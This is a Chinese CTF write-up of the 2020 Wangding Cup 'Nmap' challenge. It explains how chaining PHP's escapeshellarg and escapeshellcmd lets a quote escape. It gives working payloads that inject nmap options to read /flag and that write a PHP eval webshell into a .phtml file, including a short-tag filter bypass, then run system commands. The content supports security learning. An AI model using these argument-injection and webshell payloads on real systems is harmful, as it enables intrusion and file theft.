[网鼎杯 2020 朱雀组]Nmap

http://3267ee63-27ef-4047-9074-65d949874139.node4.buuoj.cn:81/

利用方式一

原理:
iL来读取flag,然后输出到指定文件,访问该文件进行读取

读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。文章地址https://www.yii666.com/blog/67436.html

escapeshell

    escapeshellarg()

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。

用转义符转义所有单引号,然后用单引号包裹

123' aa变为'123'\'' aa'

    escapeshellcmd()

escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。

不光这些字符,转义符本身还有落单的引号也会被转义。

'123'\'' aa'变为'123'\\'' aa\'

因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。

看看seebug平台上面的具体案例

    传入的参数是:172.17.0.2' -v -d a=1
    经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
    经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
    最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

实操:

将根目录下的flag文件内容作为扫描目标,并将扫描结果重定向到flag.txt文件中
post:host=' -iL /flag -oN flag.txt '  
失败

修改:post:host=' -iL /flag -o coleak  注意文件末尾没有单引号

http://3267ee63-27ef-4047-9074-65d949874139.node4.buuoj.cn:81/coleak'  注意文件末尾有个逃逸的单引号

输出
# Nmap 6.47 scan initiated Sun Aug 13 04:25:13 2023 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/be870 -iL /flag -o coleak' 127.0.0.1\
Failed to resolve "flag{6b67505a-8904-4e6c-b1f5-47f6abdafc33}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sun Aug 13 04:25:14 2023 -- 0 IP addresses (0 hosts up) scanned in 0.23 seconds

利用方式二

将一句话木马写入后保存到指定文件,通过文件进行命令执行读取flag
' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行payload,系统提示Hacker...,应该存在黑名单。fuzz发现,php被过滤了,重新构造payload

使用“=”绕过文件中的php字符(构造短标签),使用“phtml”绕过对“php”文件后缀的检测

post:host=' <?= @eval($_POST[a]); ?> -oG hack.phtml '

或者:'  -oN hack.phtml <?=eval($_POST['a']); ?> '


http://3267ee63-27ef-4047-9074-65d949874139.node4.buuoj.cn:81/hack.phtml

post:a=system('ls');

post:a=system('cat /flag');

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半两八金

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值